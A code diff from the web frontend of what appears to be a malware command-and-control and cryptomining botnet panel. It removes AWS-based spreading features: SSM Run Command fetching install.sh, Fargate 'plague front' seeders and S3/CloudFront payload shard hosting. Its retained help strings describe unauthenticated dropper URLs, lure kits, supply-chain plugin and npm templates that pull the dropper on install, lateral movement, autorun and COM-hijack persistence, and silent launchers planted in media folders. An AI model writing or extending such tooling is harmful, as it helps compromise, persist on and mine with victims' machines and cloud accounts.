Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.

server/web/src/api/client.ts

@@ -469,32 +469,6 @@ export const api = {
     URL.revokeObjectURL(url);
   },
 
-  fetchSSMSpreadBundle: (req: {
-    server_url: string;
-    build_id?: string;
-    campaign?: string;
-    platform?: string;
-    aws_cli_path?: string;
-  }) =>
-    fetchJSON<{ ok: boolean; bundle: {
-      join_lane: string;
-      document: string;
-      run_command: string;
-      create_document_cli: string;
-      manifest_url?: string;
-      shard_urls?: string[];
-      fallback_get_url?: string;
-    } }>('/builder/ssm-spread-bundle', {
-      method: 'POST',
-      body: JSON.stringify(req),
-    }),
-
-  forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
-    fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
-      method: 'POST',
-      body: JSON.stringify(req),
-    }),
-
   exportSpreadTemplate: async (req: {
     template: string;
     server_url: string;
@@ -520,22 +494,6 @@ export const api = {
     URL.revokeObjectURL(url);
   },
 
-  exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
-    const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
-    if (res.status === 401) clearStoredAuth({ expired: true });
-    if (!res.ok) throw new Error(await res.text());
-    const blob = await res.blob();
-    const url = URL.createObjectURL(blob);
-    const a = document.createElement('a');
-    a.href = url;
-    a.download = `aetherforge-${req.template}.zip`;
-    a.click();
-    URL.revokeObjectURL(url);
-  },
-
-  testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
-    fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
-
   // Path Tracer — WireGuard VPN chain sessions
   startTrace: (agentIds: string[]) =>
     fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
@@ -623,17 +581,6 @@ export const api = {
       method: 'DELETE',
     }),
 
-  testErasureSwarm: (body: { s3_bucket?: string; cloudfront_domain?: string }) =>
-    fetchJSON<{ ok: boolean; error?: string }>('/erasure-swarm/test', {
-      method: 'POST',
-      body: JSON.stringify(body),
-    }),
-
-  getErasureSwarmPolicyJSON: (bucket?: string) =>
-    fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
-      `/erasure-swarm/policy-json${bucket ? `?bucket=${encodeURIComponent(bucket)}` : ''}`,
-    ),
-
   // Full deck backup — downloads a zip containing config.json, users.json, miner.db.
   downloadBackup: async (): Promise<void> => {
     const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {

server/web/src/components/CalibrationAIControl.tsx

@@ -217,17 +217,6 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
               <span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
             </label>
           </div>
-          <div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
-            <label className="checkbox-label">
-              <input
-                type="checkbox"
-                className="checkbox"
-                checked={server.fargate_burst_campaign === true}
-                onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
-              />
-              <span>Fargate burst seeder campaign (ECS, 2–4h TTL)</span>
-            </label>
-          </div>
           {server.lotl_onion_tiers?.length ? (
             <p className="form-hint" style={{ marginTop: '0.75rem' }}>
               Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx

@@ -42,10 +42,6 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
   default: () => <div data-testid="spread-template-export" />,
 }));
 
-vi.mock('./LaunchTemplateExportPanel', () => ({
-  default: () => <div data-testid="launch-template-export" />,
-}));
-
 const listBuildsMock = vi.mocked(api.listBuilds);
 const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
 const sendWOLMock = vi.mocked(api.sendWOL);

server/web/src/components/Fleet/CrucibleExpandedOps.tsx

@@ -17,7 +17,6 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
 import FileManager from './FileManager';
 import ProtocolTunnelPanel from './ProtocolTunnelPanel';
 import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
-import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
 import CredentialGraphTable from './CredentialGraphTable';
 import ServiceGraphSummary from './ServiceGraphSummary';
 import './ProtocolTunnelPanel.css';
@@ -826,10 +825,6 @@ export default function CrucibleExpandedOps({
           <SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
         </CrucibleCollapsibleSection>
 
-        <CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
-          <LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
-        </CrucibleCollapsibleSection>
-
         <CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
           <p className="crucible-seek-blurb">
             Recursively seeds every media directory under the given path with silent launcher files.

server/web/src/components/Layout/Layout.tsx

@@ -12,8 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
 import SetupBanner from '../SetupBanner';
 import { getSetupStatus } from '../../help/setupStatus';
 import { resolvePageWeather } from '../../help/pageWeather';
-import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather';
-import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
+import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
 import { isDashboardRoute } from '../../help/routeEffects';
 import { api } from '../../api/client';
 import { usePresence } from '../../context/PresenceContext';
@@ -46,9 +45,7 @@ function operatorDeckId(pathname: string): string {
   return 'dashboard';
 }
 
-type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean };
-
-const NAV_BASE: readonly NavItem[] = [
+const NAV_BASE = [
   { to: '/dashboard', label: 'Command Deck', icon: 'deck' },
   { to: '/crucible', label: 'Crucible', icon: 'crucible' },
   { to: '/activity', label: 'Activity Feed', icon: 'activity' },
@@ -60,15 +57,15 @@ const NAV_BASE: readonly NavItem[] = [
   { to: '/builds', label: 'Builds', icon: 'builds' },
   { to: '/emberwake', label: 'Emberwake', icon: 'ember' },
   { to: '/settings', label: 'Calibrate', icon: 'gear' },
-];
+] as const;
 
-const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
+const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
 
-function buildNav(aiControlEnabled: boolean): NavItem[] {
+function buildNav(aiControlEnabled: boolean) {
   if (!aiControlEnabled) {
     return [...NAV_BASE];
   }
-  const items: NavItem[] = [...NAV_BASE];
+  const items = [...NAV_BASE];
   const calibrateIdx = items.findIndex((i) => i.to === '/settings');
   items.splice(calibrateIdx, 0, SEER_NAV);
   return items;
@@ -313,18 +310,14 @@ export default function Layout({ children }: LayoutProps) {
     if (latestMessage?.type !== 'scout_constellations') return null;
     return latestMessage.payload as ScoutConstellationSnapshot;
   }, [latestMessage]);
-  const cloudBiome = useMemo(() => {
-    if (latestMessage?.type !== 'cloud_venue_biomes') return null;
-    return latestMessage.payload as CloudVenueSnapshot;
-  }, [latestMessage]);
   const pageWeather = useMemo(() => {
     const base = resolvePageWeather(location.pathname);
     const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
     if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
-      return mergeBiomeWeather(base, scoutBiome, cloudBiome);
+      return mergeScoutBiomeWeather(base, scoutBiome);
     }
     return base;
-  }, [location.pathname, scoutBiome, cloudBiome]);
+  }, [location.pathname, scoutBiome]);
   const showDeckEffects = isDashboardRoute(location.pathname);
   const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
   const mobileShortLabel: Record<string, string> = {

server/web/src/help/seerEvents.ts

@@ -15,24 +15,6 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
   return event.event_type === 'onion_miner_log';
 }
 
-export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
-  return event.event_type === 'fargate_plague_front';
-}
-
-export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
-  if (!isFargatePlagueFrontEvent(event)) return '';
-  const p = event.payload ?? {};
-  const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
-  const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
-  if (ttl != null && expires) {
-    return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
-  }
-  if (ttl != null) {
-    return `Fargate burst seeder front · TTL ${ttl}h`;
-  }
-  return 'Fargate burst seeder campaign active (ECS plague front)';
-}
-
 export function onionMinerLogSummary(event: SeerEventRecord): string {
   if (!isOnionMinerLogEvent(event)) return '';
   const p = event.payload ?? {};

server/web/src/help/settingHelp.test.ts

@@ -109,7 +109,6 @@ describe('FIELD_HELP', () => {
     'failure_atlas',
     'erasure_lanes',
     'fleet_torrent',
-    'aws_erasure_swarm',
     'ai_court_session',
     'ai_persona',
     'ai_persona_aggressive',

server/web/src/help/settingHelp.ts

@@ -48,8 +48,6 @@ export const FIELD_HELP: Record<string, string> = {
     'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
   fleet_torrent:
     'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
-  aws_erasure_swarm:
-    'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
   ai_court_session:
     'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
   calibration_ai_control:

server/web/src/help/uiHelp.test.ts

@@ -64,11 +64,9 @@ describe('UI_HELP', () => {
     'fm_encrypt_path',
     'pt_path_tracer',
     'pt_agent_chain',
-    'pt_subnet_autopsy',
     'fleet_runtime_policy',
     'fleet_runtime_modules',
     'spread_funnel_widget',
-    'subnet_immune_autopsy',
     'md_overview',
     'md_operation_chip',
     'md_spread_profile',
@@ -84,10 +82,6 @@ describe('UI_HELP', () => {
     'ew_install_links',
     'ew_spread_kit',
     'ew_war_room',
-    'ew_cloud_ecosystem',
-    'ew_cloud_aws',
-    'ew_cloud_generic',
-    'ew_ssm_document',
     'ew_supply_chain',
     'ew_public_urls',
     'ew_techniques',
@@ -110,7 +104,6 @@ describe('UI_HELP', () => {
     'set_webhook',
     'ui_color_scheme',
     'crucible_section_spread_templates',
-    'crucible_section_launch_template',
   ] as const;
 
   it('defines help for every documented UI key', () => {

server/web/src/help/uiHelp.ts

@@ -105,8 +105,6 @@ export const UI_HELP: Record<string, string> = {
     'Matrix of SSH local-forward rules pushed to selected Windows agents.',
   crucible_section_spread_templates:
     'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
-  crucible_section_launch_template:
-    'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
 
   bm_pin_dropper:
     'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
@@ -176,14 +174,6 @@ export const UI_HELP: Record<string, string> = {
     'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
   ew_supply_chain:
     'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
-  ew_cloud_ecosystem:
-    'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
-  ew_cloud_aws:
-    'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
-  ew_cloud_generic:
-    'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
-  ew_ssm_document:
-    'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
   ew_public_urls:
     'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
   ew_techniques:

server/web/src/help/wsStatsCoalesce.ts

@@ -91,7 +91,6 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
   'emberwake_notes_updated',
   'emberwake_war_room',
   'scout_constellations',
-  'cloud_venue_biomes',
   'agent_online',
   'agent_offline',
   'new_share',

server/web/src/pages/BuilderPage.tsx

@@ -27,7 +27,6 @@ import {
   type ForgeDeliverable,
 } from '../help/forgeFormNormalize';
 import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
-import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
 import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
 import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
 import DownloadButton from '../components/DownloadButton';
@@ -3083,17 +3082,6 @@ export default function BuilderPage() {
                 <ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
               </div>
 
-              {calibrateConfig?.server && (
-                <AwsErasureSwarmPanel
-                  server={calibrateConfig.server}
-                  onServerChange={(patch) =>
-                    setCalibrateConfig((prev) =>
-                      prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
-                    )
-                  }
-                />
-              )}
-
               <div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
                 <label className="checkbox-label">
                   <input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}

server/web/src/pages/EmberwakePage.css

@@ -15,19 +15,6 @@
   margin-top: 0.5rem;
 }
 
-.emberwake-biome-chip {
-  display: inline-block;
-  margin: 0.5rem 0 0;
-  padding: 0.2rem 0.55rem;
-  font-size: 0.72rem;
-  letter-spacing: 0.06em;
-  text-transform: uppercase;
-  color: var(--neon-cyan, #00e8f5);
-  border: 1px solid rgba(0, 232, 245, 0.35);
-  border-radius: 999px;
-  background: rgba(0, 232, 245, 0.08);
-}
-
 .emberwake-section-title {
   margin: 0 0 0.35rem;
   font-size: 1.1rem;

server/web/src/pages/EmberwakePage.tsx

@@ -1,4 +1,4 @@
-import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
 import { Link } from 'react-router-dom';
 import { api } from '../api/client';
 import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
@@ -22,17 +22,12 @@ import { usePresence } from '../context/PresenceContext';
 import AlsoHere from '../components/Presence/AlsoHere';
 import ComradeAvatar from '../components/Presence/ComradeAvatar';
 import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
-import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
 import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
 import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
-import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
-import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
 import { HelpTip } from '../components/HelpTip';
 import './EmberwakePage.css';
 import '../components/Presence/Presence.css';
 
-const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
-
 function CopyChip({ text, label }: { text: string; label: string }) {
   const [ok, setOk] = useState(false);
   const copy = () => {
@@ -76,18 +71,6 @@ export default function EmberwakePage() {
 
   const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
 
-  const biomeLabel = useMemo(() => {
-    let scout: ScoutConstellationSnapshot | null = null;
-    let cloud: CloudVenueSnapshot | null = null;
-    if (latestMessage?.type === 'scout_constellations') {
-      scout = latestMessage.payload as ScoutConstellationSnapshot;
-    }
-    if (latestMessage?.type === 'cloud_venue_biomes') {
-      cloud = latestMessage.payload as CloudVenueSnapshot;
-    }
-    return activeBiomeLabel(scout, cloud);
-  }, [latestMessage]);
-
   // Keep refs so `load` can read current pin values without listing them as deps.
   // Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
   // re-render → new load reference → useEffect fires load() again (×N).
@@ -256,11 +239,6 @@ export default function EmberwakePage() {
           <p className="page-subtitle">
             Tag install links, export lure kits, and track which campaigns convert — all from one desk.
           </p>
-          {biomeLabel && (
-            <p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
-              Weather biome · {biomeLabel}
-            </p>
-          )}
           <p className="emberwake-hero-links form-hint">
             <a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
               Spread techniques playbook
@@ -528,16 +506,6 @@ export default function EmberwakePage() {
         )}
       </section>
 
-      <details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
-        <summary className="emberwake-advanced-summary">
-          <span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
-          <span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
-        </summary>
-        <Suspense fallback={<p className="form-hint">Loading cloud deploy hub…</p>}>
-          <CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
-        </Suspense>
-      </details>
-
       <details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
         <summary className="emberwake-advanced-summary">
           <span className="emberwake-section-title">
@@ -584,16 +552,6 @@ export default function EmberwakePage() {
         </ul>
       </details>
 
-      <details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
-        <summary className="emberwake-advanced-summary">
-          <span className="emberwake-section-title">
-            Spread methods — AWS SSM Document <HelpTip field="ew_ssm_document" />
-          </span>
-          <span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
-        </summary>
-        <SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
-      </details>
-
       <section
         className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
         aria-labelledby="ew-techniques-heading"

server/web/src/types/index.ts

@@ -382,12 +382,6 @@ export interface ServerSettings {
   erasure_lanes_enabled?: boolean;
   /** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
   fleet_torrent_enabled?: boolean;
-  aws_s3_shard_bucket?: string;
-  aws_s3_shard_region?: string;
-  aws_cloudfront_domain?: string;
-  fargate_burst_campaign?: boolean;
-  fargate_burst_ttl_hours?: number;
-  fargate_burst_expires_at?: string;
   /** Triple onion recon/deploy gates pushed to agents at auth. */
   triple_onion_policy?: {
     patch_first?: boolean;